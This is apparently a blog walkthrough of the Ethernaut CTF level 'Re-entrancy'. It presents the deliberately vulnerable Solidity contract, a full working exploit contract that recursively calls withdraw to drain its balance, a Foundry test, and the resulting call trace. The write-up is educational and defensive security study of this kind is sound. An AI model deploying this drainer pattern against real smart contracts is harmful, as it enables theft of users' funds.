CTF walkthrough, Ethernaut, #11 Re-entrancy

The objective of this challenge is to steal all the funds from the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Reentrance {
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }

            unchecked {
                balances[msg.sender] -= _amount;
            }
        }
    }

    receive() external payable {}
}

Originally this level had the pragma solidity ^0.6.0 and used the SafeMath from OpenZeppelin, which provides wrappers over Solidity’s arithmetic operations. We use a is a slightly modified version of it that:

  • Doesn’t use SafeMath.
  • Has the unchecked block in the withdraw function, otherwise we’ll get the "Arithmetic over/underflow" error when we try to exploit it.

Analysis

This contract allows to donate funds and withdraw the donation at any time.

State

The balances state variable is used to track user’s donations:

mapping(address => uint256) public balances;

Functions

  • balanceOf – Gets the amount donated by the given address.
  • donate – Allows to donate ETH.
  • withdraw – Lets you withdraw the previously donated ETH.
  • receive – Allows sending funds to the contract, bypassing the donate function. It may be needed to setup the Reentrance contract by sending some ETH to it in advance (so we have something to steal) or just in order to divert our attention 🙃

As the name of the level suggests, this contract should be prone to the Re-entrancy attack (when you know the name of the vulnerability it is relatively simple to find it 😏). The donate function is trivial, so let’s concentrate on the withdraw:

function withdraw(uint256 _amount) public {
    if (balances[msg.sender] >= _amount) {
        (bool result, ) = msg.sender.call{value: _amount}("");
        if (result) {
            _amount;
        }

        unchecked {
            balances[msg.sender] -= _amount;
        }
    }
}

This function updates the internal state after sending funds. It neither follows the Checks-Effects-Interactions pattern, not does it use the ReentrancyGuard from the OpenZeppelin (module that helps prevent reentrant calls to a function).

Solution

A malicious contract could call the withdraw again and again, draining all the funds. Here’s how the interaction between the Exploit and the Reentrance contracts might look like:

%%{init: {'theme':'neutral', 'width': 320}}%% sequenceDiagram participant E as Exploit participant R as Reentrance E->>R: donate() R-->>E: success E->>R: withdraw() R-->>E: receive() E->>R: withdraw() R-->>E: receive() E->>R: ... Note right of R: until address(Reentrance).balance > 0 E->>R: withdraw() R->>R: balances[msg.sender] -= amount

Let’s craft such a malicious contract:

contract ReentranceExploit {
    Reentrance private immutable level;
    address private immutable owner;

    constructor(Reentrance _level) {
        level = _level;
        owner = msg.sender;
    }

    function withdraw() public {
        uint256 balance = address(this).balance;
        (bool success, ) = owner.call{value: balance}("");
        require(success, "unable to withdraw");
    }

    function run() public payable {
        level.donate{value: msg.value}(address(this));
        level.withdraw(msg.value);
    }

    receive() external payable {
        uint256 levelBalance = address(level).balance;
        if (levelBalance > 0) {
            if (msg.value < levelBalance) {
                level.withdraw(msg.value);
            } else {
                level.withdraw(levelBalance);
            }
        }
    }
}

It has 3 functions:

  • run – Runs the exploit.
  • receive – Recursively calls the level.withdraw.
  • withdraw – Allows the player to withdraw all the stolen funds.

Let’s review the run function:

  • First, it donates some Ether so we can withdraw them back at the next step.
  • Then we call the level.withdraw function asking for the amount we just deposited. This tiggers a chain of the withdraw-receive calls.
function run() public payable {
    level.donate{value: msg.value}(address(this));
    level.withdraw(msg.value);
}

Our receive function calculates the amount funds left in the Reentrance contract and re-enters it with the level.withdraw call:

receive() external payable {
    uint256 levelBalance = address(level).balance;
    if (levelBalance > 0) {
        if (msg.value < levelBalance) {
            level.withdraw(msg.value);
        } else {
            level.withdraw(levelBalance);
        }
    }
}

We can withdraw at most what we’ve donated. If there is less Ether left, then we just withdraw the rest.

The withdraw function sends the stolen funds back to the attacker (player):

function withdraw() public {
    uint256 balance = address(this).balance;
    (bool success, ) = owner.call{value: balance}("");
    require(success, "unable to withdraw");
}

Then, we set the initial donation to be 1/10 of the Reentrance contract’s balance and start the exploit:

 function exploit() internal override {
    vm.startPrank(player);

    ReentranceExploit expl = new ReentranceExploit(level);
    uint256 donation = address(level).balance / 10;

    expl.run{value: donation}();
    expl.withdraw();

    vm.stopPrank();
}

Here is how the forge’s trace looks like:

$ forge test --match-contract ReentranceTest -vvvv

[PASS] testReentrancy() (gas: 629051)
Traces:
  [629051] ReentranceTest::testReentrancy()
    ├─ [233837] ReentranceTest::create{value: 1000000000000000000}()
    │   ├─ [0] VM::prank(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
    │   │   └─ ← ()
    │   ├─ [214811] Ethernaut::createLevelInstance{value: 1000000000000000000}(ReentranceFactory: [0xce71065d4017f316ec606fe4422e11eb2c47c246])
    │   │   ├─ [156548] ReentranceFactory::createInstance{value: 1000000000000000000}(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
    │   │   │   ├─ [116965] → new Reentrance@"0x037f…dd8f"
    │   │   │   │   └─ ← 584 bytes of code
    │   │   │   ├─ [55] Reentrance::fallback{value: 100000000000000}()
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [0x2f66c75a001ba71ccb135934f48d844b46454543], instance: Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f])
    │   │   └─ ← Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f]
    │   └─ ← Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f]
    ├─ [0] VM::startPrank(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
    │   └─ ← ()
    ├─ [170322] → new <Unknown>@"0xa2f9…f3a7"
    │   └─ ← 849 bytes of code
    ├─ [119933] 0xa2f9…f3a7::run{value: 10000000000000}()
    │   ├─ [22510] Reentrance::donate{value: 10000000000000}(0xa2f9062527f5588fcfd767b218ce33210574f3a7)
    │   │   └─ ← ()
    │   ├─ [89866] Reentrance::withdraw(10000000000000)
    │   │   ├─ [82241] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   ├─ [81662] Reentrance::withdraw(10000000000000)
    │   │   │   │   ├─ [75150] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   ├─ [74687] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   ├─ [68587] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   ├─ [68124] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   ├─ [62024] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   ├─ [61560] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   ├─ [55460] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   ├─ [54997] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   │   │   ├─ [48897] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [48434] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [42334] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [41871] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [35771] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [35308] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [29208] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [28744] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [6724] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [6257] Reentrance::withdraw(10000000000000)
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [196] 0xa2f9…f3a7::fallback{value: 10000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [7068] 0xa2f9…f3a7::3ccfd60b()
    │   ├─ [0] player::fallback{value: 110000000000000}()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
    │   └─ ← ()
    ├─ [3665] Ethernaut::submitLevelInstance(Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f])
    │   ├─ [618] ReentranceFactory::validateInstance(Reentrance: [0x037fc82298142374d974839236d2e2df6b5bdd8f], player: [0x2f66c75a001ba71ccb135934f48d844b46454543])
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [0x2f66c75a001ba71ccb135934f48d844b46454543], level: ReentranceFactory: [0xce71065d4017f316ec606fe4422e11eb2c47c246])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Lessons learned

Both of the major bugs that led to the DAO hack were related to re-entrancy issues. Here is the great in-depth explanation of the DAO hack, so be sure to give it a read if you’re interested to understand it deeper.

There are several ways to prevent these type of attacks:

References


This was another little write-up on the Ethernaut CTF. Last but not least, the code and solution for this challenge is here. Thank you for reading!

Let’s explore the next level – #12 Elevator 🛗